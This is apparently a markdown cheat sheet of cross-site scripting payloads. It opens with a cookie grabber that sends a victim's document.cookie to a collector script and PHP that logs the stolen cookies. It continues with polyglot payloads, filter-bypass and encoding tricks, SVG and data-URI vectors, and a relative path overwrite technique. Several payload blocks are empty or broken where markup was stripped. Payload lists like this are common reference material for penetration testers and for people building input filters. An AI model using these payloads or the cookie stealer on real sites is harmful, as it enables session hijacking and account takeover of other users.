# Cross Site Scripting Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. ## Exploit code or POC Cookie grabber for XSS ``` document.location='http://localhost/XSS/grabber.php?c=' + document.cookie // Write the cookie in a file $cookie = $_GET['c']; $fp = fopen('cookies.txt', 'a+'); fwrite($fp, 'Cookie:' .$cookie.'\r\n'); fclose($fp); ?> ``` ## XSS in HTML/Applications XSS Basic ``` Basic payload ipt>alert('XSS')ipt> "> "> Img payload

Svg payload With an additionl URL ``` XSS in flash application ``` \%22})))}catch(e){alert(document.domain);}// "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// "a")(({type:"ready"}));}catch(e){alert(1)}// ``` XSS in Hidden input ``` Use CTRL+SHIFT+X to trigger the onclick event ``` ## XSS in wrappers javascript and data XSS with javascript: ``` javascript:prompt(1) %26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341 javascript:confirm(1) ``` XSS with data: ``` data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ ``` ## XSS in files XSS in XML ``` alert(1) ``` XSS in SVG ``` ``` XSS in SVG (short) ``` ``` more payloads in ./files # XSS with Relative Path Overwrite - IE 8/9 and lower You need these 3 components ``` 1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))} 2) URL Rewriting. 3) Relative addressing to CSS style sheet : ../style.css ``` A little example ``` http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE] Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))} ``` Explanation of the vulnerability ``` The Meta element forces IE’s document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use “open” to prevent client side DoS with repeated executions of alert. A simple request of “rpo.php/” makes the relative style load the page itself as a style sheet. The actual request is “/labs/xss_horror_show/chapter7/rpo.php/styles.css” the browser thinks there’s another directory but the actual request is being sent to the document and that in essence is how an RPO attack works. Demo 1 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php Demo 2 at http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3 MultiBrowser : http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php From : http://www.thespanner.co.uk/2014/03/21/rpo/ ``` # Mutated XSS for Browser IE8/IE9 ``` <img src=1 onerror=alert(1)> ``` IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute. ## Polyglot XSS Polyglot XSS - 0xsobky ``` jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/

" ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> ``` Polyglot XSS - Mathias Karlsson ``` " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// ``` Polyglot XSS - Rsnake ``` ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ``` ## Filter Bypass and exotic payloads Bypass quotes for string ``` String.fromCharCode(88,83,83) ``` Bypass parenthesis for string ``` alert`1` ``` ``` <script>$=1,alert($)</script> <script ~~~>confirm(1)</script ~~~> <script>$=1,\u0061lert($)</script> <</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script> <</script/script><script ~~~>\u0061lert(1)</script ~~~> </style></scRipt><scRipt>alert(1)</scRipt> <img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)> <img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)> <svg><x><script>alert('1'&#41</x> <iframe src=""/srcdoc='<svg onload=alert(1)>'> ``` Using Unicode ``` Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<) Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<) Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (") Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (') E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/ %EF%BC%9E becomes > %EF%BC%9C becomes < Overlong UTF-8 < = %C0%BC = %E0%80%BC = %F0%80%80%BC > = %C0%BE = %E0%80%BE = %F0%80%80%BE ' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7 " = %C0%A2 = %E0%80%A2 = %F0%80%80%A2 " = %CA%BA ' = %CA%B9 ``` HTTP Parameter Pollution ``` http://target.com/something.xxx?a=val1&a=val2 ASP.NET a = val1,val2 ASP a = val1,val2 JSP a = val1 PHP a = val2 ``` Use JSFuck to encode the payload (alert()) ```javascript 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``` ## Thanks to * https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot * tbm * http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html * http://www.thespanner.co.uk/2014/03/21/rpo/ * http://blog.innerht.ml/rpo-gadgets/ * http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite